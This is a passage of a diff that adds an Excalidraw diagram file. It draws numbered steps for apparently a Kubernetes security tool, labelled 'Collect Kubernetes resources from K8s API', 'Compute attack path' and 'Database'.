+ ], + [ + 4.854602672336805, + 21.47498273719765 + ], + [ + 5.54268208494369, + 21.295483759995786 + ], + [ + 6.21793088129692, + 20.995662697527013 + ], + [ + 23.77893969065499, + 8.705435923104353 + ], + [ + 21.877089010307923, + 6.965482080052101 + ], + [ + 19.992349749688966, + 5.409824277636323 + ], + [ + 18.317025962472155, + 4.153331437223684 + ], + [ + 16.522036190454084, + 2.9566715892116298 + ], + [ + 14.846712403237243, + 2.029260207002359 + ], + [ + 12.833780163154326, + 0.9589913248530184 + ], + [ + 11.01740088959874, + 0.11460445018319732 + ], + [ + 9.102745132779468, + -0.6333079548245122 + ], + [ + 7.0085903987584555, + -1.381220359831938 + ], + [ + 5.213600626740382, + -1.9197172914374918 + ], + [ + 3.3288613661214574, + -2.3086317420412095 + ], + [ + 1.5039550979031118, + -2.6676296964449113 + ], + [ + -0.09369698143135619, + -2.8882619709026285 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1817, + "versionNonce": 262901984, + "index": "c1u7", + "isDeleted": false, + "id": "V_mBK4xP7jpw_SpkCxu31", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0.9101052658279114, + "x": -2491.5071614156163, + "y": -1262.0956798672364, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 23.87263667208635, + "height": 24.363244708100275, + "seed": 1630491592, + "groupIds": [ + "p9gcGE0qjRY1HRnE11ifR", + "vTyHlsO9ZNebLWQdazELh", + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.1537257912289132, + 18.542021644750434 + ], + [ + 1.4142056093021882, + 19.590243476578788 + ], + [ + 1.7732035637057777, + 20.308239385385907 + ], + [ + 2.311700495311232, + 20.87665281319177 + ], + [ + 3.179278885119924, + 21.295483759995797 + ], + [ + 3.9870242825280577, + 21.44506624099733 + ], + [ + 4.854602672336805, + 21.47498273719765 + ], + [ + 5.54268208494369, + 21.295483759995786 + ], + [ + 6.21793088129692, + 20.995662697527013 + ], + [ + 23.77893969065499, + 8.705435923104353 + ], + [ + 21.877089010307923, + 6.965482080052101 + ], + [ + 19.992349749688966, + 5.409824277636323 + ], + [ + 18.317025962472155, + 4.153331437223684 + ], + [ + 16.522036190454084, + 2.9566715892116298 + ], + [ + 14.846712403237243, + 2.029260207002359 + ], + [ + 12.833780163154326, + 0.9589913248530184 + ], + [ + 11.01740088959874, + 0.11460445018319732 + ], + [ + 9.102745132779468, + -0.6333079548245122 + ], + [ + 7.0085903987584555, + -1.381220359831938 + ], + [ + 5.213600626740382, + -1.9197172914374918 + ], + [ + 3.3288613661214574, + -2.3086317420412095 + ], + [ + 1.5039550979031118, + -2.6676296964449113 + ], + [ + -0.09369698143135619, + -2.8882619709026285 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1733, + "versionNonce": 969307360, + "index": "c1u78", + "isDeleted": false, + "id": "c45MN4Mtim-EvTMlXXJH_", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 1.8100395845487913, + "x": -2500.464611129763, + "y": -1234.2303523595253, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 23.87263667208635, + "height": 24.363244708100275, + "seed": 1184996040, + "groupIds": [ + "p9gcGE0qjRY1HRnE11ifR", + "vTyHlsO9ZNebLWQdazELh", + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.1537257912289132, + 18.542021644750434 + ], + [ + 1.4142056093021882, + 19.590243476578788 + ], + [ + 1.7732035637057777, + 20.308239385385907 + ], + [ + 2.311700495311232, + 20.87665281319177 + ], + [ + 3.179278885119924, + 21.295483759995797 + ], + [ + 3.9870242825280577, + 21.44506624099733 + ], + [ + 4.854602672336805, + 21.47498273719765 + ], + [ + 5.54268208494369, + 21.295483759995786 + ], + [ + 6.21793088129692, + 20.995662697527013 + ], + [ + 23.77893969065499, + 8.705435923104353 + ], + [ + 21.877089010307923, + 6.965482080052101 + ], + [ + 19.992349749688966, + 5.409824277636323 + ], + [ + 18.317025962472155, + 4.153331437223684 + ], + [ + 16.522036190454084, + 2.9566715892116298 + ], + [ + 14.846712403237243, + 2.029260207002359 + ], + [ + 12.833780163154326, + 0.9589913248530184 + ], + [ + 11.01740088959874, + 0.11460445018319732 + ], + [ + 9.102745132779468, + -0.6333079548245122 + ], + [ + 7.0085903987584555, + -1.381220359831938 + ], + [ + 5.213600626740382, + -1.9197172914374918 + ], + [ + 3.3288613661214574, + -2.3086317420412095 + ], + [ + 1.5039550979031118, + -2.6676296964449113 + ], + [ + -0.09369698143135619, + -2.8882619709026285 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1761, + "versionNonce": 652531936, + "index": "c1u7G", + "isDeleted": false, + "id": "ZRNCAjl-Cx91u8mx_ixQC", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 2.6912717400126276, + "x": -2527.8295979906134, + "y": -1223.7025332132844, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 23.87263667208635, + "height": 24.363244708100275, + "seed": 1949499848, + "groupIds": [ + "p9gcGE0qjRY1HRnE11ifR", + "vTyHlsO9ZNebLWQdazELh", + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.1537257912289132, + 18.542021644750434 + ], + [ + 1.4142056093021882, + 19.590243476578788 + ], + [ + 1.7732035637057777, + 20.308239385385907 + ], + [ + 2.311700495311232, + 20.87665281319177 + ], + [ + 3.179278885119924, + 21.295483759995797 + ], + [ + 3.9870242825280577, + 21.44506624099733 + ], + [ + 4.854602672336805, + 21.47498273719765 + ], + [ + 5.54268208494369, + 21.295483759995786 + ], + [ + 6.21793088129692, + 20.995662697527013 + ], + [ + 23.77893969065499, + 8.705435923104353 + ], + [ + 21.877089010307923, + 6.965482080052101 + ], + [ + 19.992349749688966, + 5.409824277636323 + ], + [ + 18.317025962472155, + 4.153331437223684 + ], + [ + 16.522036190454084, + 2.9566715892116298 + ], + [ + 14.846712403237243, + 2.029260207002359 + ], + [ + 12.833780163154326, + 0.9589913248530184 + ], + [ + 11.01740088959874, + 0.11460445018319732 + ], + [ + 9.102745132779468, + -0.6333079548245122 + ], + [ + 7.0085903987584555, + -1.381220359831938 + ], + [ + 5.213600626740382, + -1.9197172914374918 + ], + [ + 3.3288613661214574, + -2.3086317420412095 + ], + [ + 1.5039550979031118, + -2.6676296964449113 + ], + [ + -0.09369698143135619, + -2.8882619709026285 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1805, + "versionNonce": 714521824, + "index": "c1u7V", + "isDeleted": false, + "id": "CBgmSpgH2nJlj1ZVkDpXj", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 3.5758525840700663, + "x": -2553.325357885903, + "y": -1238.60876081048, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 23.87263667208635, + "height": 24.363244708100275, + "seed": 1493141704, + "groupIds": [ + "p9gcGE0qjRY1HRnE11ifR", + "vTyHlsO9ZNebLWQdazELh", + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.1537257912289132, + 18.542021644750434 + ], + [ + 1.4142056093021882, + 19.590243476578788 + ], + [ + 1.7732035637057777, + 20.308239385385907 + ], + [ + 2.311700495311232, + 20.87665281319177 + ], + [ + 3.179278885119924, + 21.295483759995797 + ], + [ + 3.9870242825280577, + 21.44506624099733 + ], + [ + 4.854602672336805, + 21.47498273719765 + ], + [ + 5.54268208494369, + 21.295483759995786 + ], + [ + 6.21793088129692, + 20.995662697527013 + ], + [ + 23.77893969065499, + 8.705435923104353 + ], + [ + 21.877089010307923, + 6.965482080052101 + ], + [ + 19.992349749688966, + 5.409824277636323 + ], + [ + 18.317025962472155, + 4.153331437223684 + ], + [ + 16.522036190454084, + 2.9566715892116298 + ], + [ + 14.846712403237243, + 2.029260207002359 + ], + [ + 12.833780163154326, + 0.9589913248530184 + ], + [ + 11.01740088959874, + 0.11460445018319732 + ], + [ + 9.102745132779468, + -0.6333079548245122 + ], + [ + 7.0085903987584555, + -1.381220359831938 + ], + [ + 5.213600626740382, + -1.9197172914374918 + ], + [ + 3.3288613661214574, + -2.3086317420412095 + ], + [ + 1.5039550979031118, + -2.6676296964449113 + ], + [ + -0.09369698143135619, + -2.8882619709026285 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1771, + "versionNonce": 644620512, + "index": "c1u7d", + "isDeleted": false, + "id": "vctwhqVFv0kKu9b1N7Hyn", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 4.471678909518175, + "x": -2557.437362655767, + "y": -1267.7643933945826, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 23.87263667208635, + "height": 24.363244708100275, + "seed": 547565512, + "groupIds": [ + "p9gcGE0qjRY1HRnE11ifR", + "vTyHlsO9ZNebLWQdazELh", + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.1537257912289132, + 18.542021644750434 + ], + [ + 1.4142056093021882, + 19.590243476578788 + ], + [ + 1.7732035637057777, + 20.308239385385907 + ], + [ + 2.311700495311232, + 20.87665281319177 + ], + [ + 3.179278885119924, + 21.295483759995797 + ], + [ + 3.9870242825280577, + 21.44506624099733 + ], + [ + 4.854602672336805, + 21.47498273719765 + ], + [ + 5.54268208494369, + 21.295483759995786 + ], + [ + 6.21793088129692, + 20.995662697527013 + ], + [ + 23.77893969065499, + 8.705435923104353 + ], + [ + 21.877089010307923, + 6.965482080052101 + ], + [ + 19.992349749688966, + 5.409824277636323 + ], + [ + 18.317025962472155, + 4.153331437223684 + ], + [ + 16.522036190454084, + 2.9566715892116298 + ], + [ + 14.846712403237243, + 2.029260207002359 + ], + [ + 12.833780163154326, + 0.9589913248530184 + ], + [ + 11.01740088959874, + 0.11460445018319732 + ], + [ + 9.102745132779468, + -0.6333079548245122 + ], + [ + 7.0085903987584555, + -1.381220359831938 + ], + [ + 5.213600626740382, + -1.9197172914374918 + ], + [ + 3.3288613661214574, + -2.3086317420412095 + ], + [ + 1.5039550979031118, + -2.6676296964449113 + ], + [ + -0.09369698143135619, + -2.8882619709026285 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1824, + "versionNonce": 1240794336, + "index": "c1u7l", + "isDeleted": false, + "id": "vIPcMoAg2xEg7qa2typtj", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 5.391113754113791, + "x": -2537.2606679701103, + "y": -1288.9886942624416, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 23.87263667208635, + "height": 24.363244708100275, + "seed": 591001288, + "groupIds": [ + "p9gcGE0qjRY1HRnE11ifR", + "vTyHlsO9ZNebLWQdazELh", + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.1537257912289132, + 18.542021644750434 + ], + [ + 1.4142056093021882, + 19.590243476578788 + ], + [ + 1.7732035637057777, + 20.308239385385907 + ], + [ + 2.311700495311232, + 20.87665281319177 + ], + [ + 3.179278885119924, + 21.295483759995797 + ], + [ + 3.9870242825280577, + 21.44506624099733 + ], + [ + 4.854602672336805, + 21.47498273719765 + ], + [ + 5.54268208494369, + 21.295483759995786 + ], + [ + 6.21793088129692, + 20.995662697527013 + ], + [ + 23.77893969065499, + 8.705435923104353 + ], + [ + 21.877089010307923, + 6.965482080052101 + ], + [ + 19.992349749688966, + 5.409824277636323 + ], + [ + 18.317025962472155, + 4.153331437223684 + ], + [ + 16.522036190454084, + 2.9566715892116298 + ], + [ + 14.846712403237243, + 2.029260207002359 + ], + [ + 12.833780163154326, + 0.9589913248530184 + ], + [ + 11.01740088959874, + 0.11460445018319732 + ], + [ + 9.102745132779468, + -0.6333079548245122 + ], + [ + 7.0085903987584555, + -1.381220359831938 + ], + [ + 5.213600626740382, + -1.9197172914374918 + ], + [ + 3.3288613661214574, + -2.3086317420412095 + ], + [ + 1.5039550979031118, + -2.6676296964449113 + ], + [ + -0.09369698143135619, + -2.8882619709026285 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1967, + "versionNonce": 1388407008, + "index": "c1u8", + "isDeleted": false, + "id": "gCI8N2599sirI_6kI2uu2", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -2327.318093695047, + "y": -1446.3582092115785, + "strokeColor": "#1971c2", + "backgroundColor": "#a5d8ff", + "width": 115.0400296604214, + "height": 123.4929441758967, + "seed": 306741176, + "groupIds": [ + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [ + { + "type": "text", + "id": "qpaulSe0" + } + ], + "updated": 1720441449921, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1855, + "versionNonce": 1281445088, + "index": "c1u88", + "isDeleted": false, + "id": "qpaulSe0", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -2276.3447880312056, + "y": -1423.2730862513645, + "strokeColor": "#1971c2", + "backgroundColor": "#ffc9c9", + "width": 12.747833251953125, + "height": 58.806163893284136, + "seed": 630180024, + "groupIds": [ + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "fontSize": 47.04493111462731, + "fontFamily": 1, + "text": "1", + "rawText": "1", + "textAlign": "center", + "verticalAlign": "top", + "containerId": "gCI8N2599sirI_6kI2uu2", + "originalText": "1", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "arrow", + "version": 1021, + "versionNonce": 949294368, + "index": "c1u8G", + "isDeleted": false, + "id": "DR9OwxHSJhGZHLDmlZ1ZZ", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "dashed", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2405.748139389354, + "y": -1252.3126782784404, + "strokeColor": "#1971c2", + "backgroundColor": "#a5d8ff", + "width": 908.5466139996582, + "height": 10.685602762750833, + "seed": 1810359240, + "groupIds": [ + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441449982, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": { + "elementId": "8JjIwDfVvdrqvRaWSs6kI", + "focus": 0.11407791041209549, + "gap": 1.6029709045601521 + }, + "lastCommittedPoint": null, + "startArrowhead": "arrow", + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 908.5466139996582, + 10.685602762750833 + ] + ] + }, + { + "type": "rectangle", + "version": 798, + "versionNonce": 1180407008, + "index": "c1u8V", + "isDeleted": false, + "id": "AGf-IXS9M9DsszYfmSQYY", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2311.2184483036203, + "y": -1359.5071893606935, + "strokeColor": "#1971c2", + "backgroundColor": "#a5d8ff", + "width": 749.4360450240283, + "height": 249.9261965464576, + "seed": 1239033032, + "groupIds": [ + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "type": "text", + "id": "ujnsX46x" + } + ], + "updated": 1720441449921, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 939, + "versionNonce": 601225440, + "index": "c1u8l", + "isDeleted": false, + "id": "ujnsX46x", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2206.1865525005906, + "y": -1344.8056483873725, + "strokeColor": "#1971c2", + "backgroundColor": "#ffc9c9", + "width": 539.3722534179688, + "height": 220.5231145998155, + "seed": 1405766600, + "groupIds": [ + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "fontSize": 58.80616389328413, + "fontFamily": 1, + "text": "Collect Kubernetes\nresources\nfrom K8s API", + "rawText": "Collect Kubernetes resources \nfrom K8s API", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "AGf-IXS9M9DsszYfmSQYY", + "originalText": "Collect Kubernetes resources \nfrom K8s API", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "ellipse", + "version": 1861, + "versionNonce": 744742112, + "index": "c1uD8", + "isDeleted": false, + "id": "ZL7ARXLRMnxZOp9f8y9HK", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -1497.5447080809754, + "y": -819.4547986473051, + "strokeColor": "#2f9e44", + "backgroundColor": "#b2f2bb", + "width": 114.98427468742585, + "height": 123.4929441758967, + "seed": 1650259384, + "groupIds": [ + "RFb-0YU46zawxkgEzH1GJ" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [ + { + "type": "text", + "id": "BNtn0Uv1" + } + ], + "updated": 1720441449921, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1760, + "versionNonce": 831865056, + "index": "c1uDG", + "isDeleted": false, + "id": "BNtn0Uv1", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -1456.9518896264062, + "y": -796.3696756870909, + "strokeColor": "#2f9e44", + "backgroundColor": "#ffc9c9", + "width": 33.49247741699219, + "height": 58.806163893284136, + "seed": 665157304, + "groupIds": [ + "RFb-0YU46zawxkgEzH1GJ" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "fontSize": 47.04493111462731, + "fontFamily": 1, + "text": "2", + "rawText": "2", + "textAlign": "center", + "verticalAlign": "top", + "containerId": "ZL7ARXLRMnxZOp9f8y9HK", + "originalText": "2", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "arrow", + "version": 724, + "versionNonce": 1392125152, + "index": "c1uDV", + "isDeleted": false, + "id": "Bv0hyJyK8W3O1ci7eg3BQ", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "dashed", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1342.2416216102517, + "y": -970.831780530566, + "strokeColor": "#2f9e44", + "backgroundColor": "#a5d8ff", + "width": 400.20919616581875, + "height": 427.50683094469673, + "seed": 1128865720, + "groupIds": [ + "RFb-0YU46zawxkgEzH1GJ" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": "arrow", + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + -49.06437623654547, + 401.6811274529155 + ], + [ + 351.1448199292733, + 427.50683094469673 + ], + [ + 278.03889933682166, + 8.541661862998774 + ] + ] + }, + { + "type": "rectangle", + "version": 547, + "versionNonce": 1042450656, + "index": "c1uDl", + "isDeleted": false, + "id": "_ivxKbcOomUmaQUUk7v_8", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1496.682896809376, + "y": -728.2234241898436, + "strokeColor": "#2f9e44", + "backgroundColor": "#b2f2bb", + "width": 462.56555796462885, + "height": 211.25942583651775, + "seed": 447783112, + "groupIds": [ + "RFb-0YU46zawxkgEzH1GJ" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "type": "text", + "id": "JMGW2ykH" + } + ], + "updated": 1720441449921, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 712, + "versionNonce": 1855876320, + "index": "c1uE", + "isDeleted": false, + "id": "JMGW2ykH", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1446.8568744188583, + "y": -696.10141613819, + "strokeColor": "#2f9e44", + "backgroundColor": "#ffc9c9", + "width": 362.91351318359375, + "height": 147.01540973321033, + "seed": 819717304, + "groupIds": [ + "RFb-0YU46zawxkgEzH1GJ" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "fontSize": 58.80616389328413, + "fontFamily": 1, + "text": "Compute\nattack path", + "rawText": "Compute attack path", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "_ivxKbcOomUmaQUUk7v_8", + "originalText": "Compute attack path", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3137, + "versionNonce": 1845350624, + "index": "c1uEV", + "isDeleted": false, + "id": "8YBXDHltsXkkcOYJb7daI", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1023.7339806368839, + "y": -712.1512507275177, + "strokeColor": "#2b8a3e", + "backgroundColor": "#40c057", + "width": 174.80901767270885, + "height": 202.70175438650003, + "seed": 1623644600, + "groupIds": [ + "619hoWJS2kXB9qGu0oO1U", + "eLqS87QKv1WgYbVLbCdKX", + "RFb-0YU46zawxkgEzH1GJ" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 140.01783080679664 + ], + [ + 3.062592970851338, + 165.3381556906475 + ], + [ + 24.085474974283226, + 174.6412364130153 + ], + [ + 55.57271750397991, + 181.99752776290507 + ], + [ + 89.14980875912751, + 183.89724544079186 + ], + [ + 117.81672284381325, + 182.00310035477557 + ], + [ + 144.7040666915423, + 177.32058956241087 + ], + [ + 171.52217139791045, + 164.34024372231735 + ], + [ + 173.35540957031958, + 140.01783080679664 + ], + [ + 174.80901767270885, + 19.072026401091726 + ], + [ + 172.6018084465742, + -0.609717899484562 + ], + [ + 150.87329850109575, + -11.1090964434231 + ], + [ + 126.48725506394793, + -17.056799318546194 + ], + [ + 94.78434671245053, + -18.80450894570819 + ], + [ + 74.66288229069556, + -18.75364743870039 + ], + [ + 31.815513117449633, + -14.970679966949419 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1387, + "versionNonce": 332444896, + "index": "c1uF", + "isDeleted": false, + "id": "bV6Q-zYmqnf6NuIPv4Nle", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1024.377606071478, + "y": -733.3919221755602, + "strokeColor": "#2b8a3e", + "backgroundColor": "#ffffff", + "width": 174.49951100400529, + "height": 47.44552342121469, + "seed": 120775352, + "groupIds": [ + "619hoWJS2kXB9qGu0oO1U", + "eLqS87QKv1WgYbVLbCdKX", + "RFb-0YU46zawxkgEzH1GJ" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 602, + "versionNonce": 1168578784, + "index": "c1uG", + "isDeleted": false, + "id": "XGq7Mtwq", + "fillStyle": "hachure", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1022.9410715025522, + "y": -527.2069743212967, + "strokeColor": "#000000", + "backgroundColor": "#228be6", + "width": 170.38935476639801, + "height": 43.085036545666, + "seed": 1966459832, + "groupIds": [ + "VEn_ikO28MVsn63-mGVZ3", + "eLqS87QKv1WgYbVLbCdKX", + "RFb-0YU46zawxkgEzH1GJ" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "fontSize": 34.46802923653279, + "fontFamily": 1, + "text": "Database", + "rawText": "Database", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "Database", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "ellipse", + "version": 1612, + "versionNonce": 923860192, + "index": "c1uG4", + "isDeleted": false, + "id": "tVr2iG0aALCiiwdKV8rK9", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -863.2984372668398, + "y": -1433.5923415132474, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 113.26702151914624, + "height": 123.4929441758967, + "seed": 105546440, + "groupIds": [ + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [ + { + "type": "text", + "id": "2WKevYVz" + } + ], + "updated": 1720441449921, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1560, + "versionNonce": 698245344, + "index": "c1uG8", + "isDeleted": false, + "id": "2WKevYVz", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -822.7279863690901, + "y": -1410.5072185530332, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 32.03424072265625, + "height": 58.806163893284136, + "seed": 511633864, + "groupIds": [ + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "fontSize": 47.04493111462731, + "fontFamily": 1, + "text": "3", + "rawText": "3", + "textAlign": "center", + "verticalAlign": "top", + "containerId": "tVr2iG0aALCiiwdKV8rK9", + "originalText": "3", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "arrow", + "version": 1142, + "versionNonce": 1265987872, + "index": "c1uGG", + "isDeleted": false, + "id": "47hwvdd6d0H93vESMMMPz", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "dashed", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -890.3443982263311, + "y": -1188.3946559934384, + "strokeColor": "#e03131", + "backgroundColor": "#a5d8ff", + "width": 734.6466589347268, + "height": 17.136651905124783, + "seed": 765334968, + "groupIds": [ + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441449982, + "link": null, + "locked": false, + "startBinding": { + "elementId": "8JjIwDfVvdrqvRaWSs6kI", + "focus": 0.07140484325559544, + "gap": 2.9403081946643397 + }, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 734.6466589347268, + -17.136651905124783 + ] + ] + }, + { + "type": "rectangle", + "version": 536, + "versionNonce": 1583589600, + "index": "c1uGK", + "isDeleted": false, + "id": "te0nKV0Sf1cPitTrOtIeE", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -811.5323356498229, + "y": -1353.492970117322, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 535.6937805462798, + "height": 249.9261965464576, + "seed": 136645576, + "groupIds": [ + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "type": "text", + "id": "m4FSYwuR" + } + ], + "updated": 1720441449921, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 764, + "versionNonce": 700157152, + "index": "c1uGO", + "isDeleted": false, + "id": "m4FSYwuR", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -795.2905784333236, + "y": -1302.0375767106984, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "width": 503.21026611328125, + "height": 147.01540973321033, + "seed": 1981829832, + "groupIds": [ + "jsyLcIawNlJsHIP4Koer3" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "fontSize": 